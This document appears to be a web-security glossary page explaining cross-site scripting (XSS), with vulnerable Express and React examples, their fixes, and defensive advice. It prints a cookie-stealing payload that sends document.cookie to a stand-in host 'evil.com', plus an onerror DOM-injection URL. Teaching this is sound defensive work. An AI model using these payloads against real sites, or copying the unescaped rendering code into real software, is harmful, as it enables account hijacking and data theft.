XSS
Cross-Site Scripting — a vulnerability where attackers inject malicious scripts into web pages viewed by other users, enabling session hijacking or data theft.
What Is XSS?
Cross-Site Scripting (XSS) is a web security vulnerability that allows an attacker to inject malicious client-side scripts into web pages viewed by other users. The abbreviated name “XSS” uses an X rather than a C to avoid confusion with CSS (Cascading Style Sheets). When a web application includes untrusted data in its HTML output without proper encoding, an attacker can inject JavaScript that executes in the victim’s browser with the full privileges of the vulnerable page.
XSS is one of the most common and dangerous web application vulnerabilities. It has appeared in every edition of the OWASP Top 10 since the list’s inception. Major platforms including Google, Facebook, Twitter, and PayPal have all disclosed and patched XSS vulnerabilities over the years. The ubiquity of XSS stems from a fundamental challenge in web development: web pages mix code (HTML, JavaScript) and data (user content) in the same document, and any failure to properly separate the two creates an injection point.
XSS attacks fall into three categories: Stored XSS, where the malicious script is permanently saved on the server (in a database, comment field, or forum post) and served to every user who views the affected page; Reflected XSS, where the script is embedded in a URL or form submission and reflected back in the server’s response; and DOM-based XSS, where the vulnerability exists entirely in client-side JavaScript that processes untrusted data.
How It Works
A Stored XSS attack works by persisting a malicious payload through a normal application feature. Consider a comment system that renders user input as HTML:
// Server-side: vulnerable comment rendering (Express.js)
app.get('/post/:id', async (req, res) => {
const post = await db.getPost(req.params.id);
const comments = await db.getComments(req.params.id);
let html = `<h1>${post.title}</h1>`;
comments.forEach(c => {
// Vulnerable: comment body inserted directly into HTML
html += `<div class="comment">${c.body}</div>`;
});
res.send(html);
});
An attacker submits a comment containing:
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
Every user who views that page executes the attacker’s script, sending their session cookie to a server the attacker controls. With that cookie, the attacker can impersonate the victim.
The fix applies output encoding so that user content is treated as text, not code:
// Fixed: encode HTML entities before rendering
const escapeHtml = require('escape-html');
app.get('/post/:id', async (req, res) => {
const post = await db.getPost(req.params.id);
const comments = await db.getComments(req.params.id);
let html = `<h1>${escapeHtml(post.title)}</h1>`;
comments.forEach(c => {
html += `<div class="comment">${escapeHtml(c.body)}</div>`;
});
res.send(html);
});
Modern frontend frameworks handle encoding automatically. React, for example, escapes all values embedded in JSX by default:
// React: safe by default — JSX escapes embedded expressions
function Comment({ body }) {
return <div className="comment">{body}</div>;
// "<script>alert('xss')</script>" renders as text, not code
}
// DANGEROUS: dangerouslySetInnerHTML bypasses React's escaping
function UnsafeComment({ body }) {
return <div dangerouslySetInnerHTML={{ __html: body }} />;
// This is vulnerable — never use with untrusted input
}
DOM-based XSS occurs when client-side JavaScript reads a tainted value and inserts it into the page:
// Vulnerable: URL parameter injected into DOM via innerHTML
const name = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = `Hello, ${name}!`;
// Attacker URL: /page?name=<img src=x onerror=alert(1)>
// Fixed: use textContent instead of innerHTML
const name = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').textContent = `Hello, ${name}!`;
A robust defense-in-depth strategy also includes Content Security Policy headers:
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'
This header prevents inline script execution entirely, neutralizing XSS payloads even if they bypass output encoding.
Why It Matters
XSS enables attackers to perform any action that the victim can perform on the affected website. This includes stealing session tokens to hijack accounts, modifying the content of the page to conduct phishing attacks, redirecting users to malicious sites, logging keystrokes to capture passwords and credit card numbers, and propagating worms that spread the attack to every user who views an infected page.
The 2005 Samy worm exploited a Stored XSS vulnerability in MySpace to add over one million users to a single profile within 24 hours. The 2018 British Airways breach, which compromised 380,000 payment card details, used a supply chain attack that injected malicious JavaScript into the airline’s payment page — a variant of XSS at the infrastructure level.
XSS is particularly dangerous because it executes in the context of the user’s authenticated session. Same-origin policy, which normally prevents one website from accessing another’s data, does not protect against XSS because the malicious script runs within the trusted origin.
Best Practices
- Encode output based on context. HTML-encode data inserted into HTML body. Attribute-encode data in HTML attributes. JavaScript-encode data embedded in script blocks. URL-encode data placed in query parameters. Each context requires different encoding rules.
- Use modern frameworks with automatic encoding. React, Angular, Vue, and Svelte all escape embedded expressions by default. Prefer these frameworks over manual HTML string construction.
- Deploy Content Security Policy headers. CSP provides a browser-enforced allowlist of permitted script sources. Even if an XSS payload reaches the page, CSP prevents its execution.
- Sanitize HTML when rich text is required. If your application must accept and render HTML from users (such as a WYSIWYG editor), use a proven sanitization library like DOMPurify rather than writing custom sanitization logic.
- Set the HttpOnly flag on session cookies. HttpOnly cookies are inaccessible to JavaScript, preventing XSS attacks from stealing session tokens — the most common XSS exploitation goal.
Common Mistakes
- Relying on input validation instead of output encoding. Blocking
<script>in user input fails because there are hundreds of XSS payload variations that do not use script tags (<img onerror>,<svg onload>, event handlers, CSS expressions). Output encoding at render time is the reliable defense. - Using
innerHTMLordangerouslySetInnerHTMLwith untrusted data. These APIs bypass framework-level protections and inject raw HTML into the DOM. Reserve them for content you fully control and trust. - Assuming server-side rendering is safe and client-side is the only risk. Both server-rendered HTML and client-side DOM manipulation can introduce XSS. Every code path that inserts untrusted data into HTML must apply encoding.
- Deploying CSP in report-only mode indefinitely. Report-only CSP logs violations without blocking them. Teams that never transition from report-only to enforcement get visibility without protection. Use the reports to tune your policy, then enforce it.
Related Terms
Learn More
Tool Reviews
Related Articles
Free Newsletter
Stay ahead with AI dev tools
Weekly insights on AI code review, static analysis, and developer productivity. No spam, unsubscribe anytime.
Join developers getting weekly AI tool insights.
Semgrep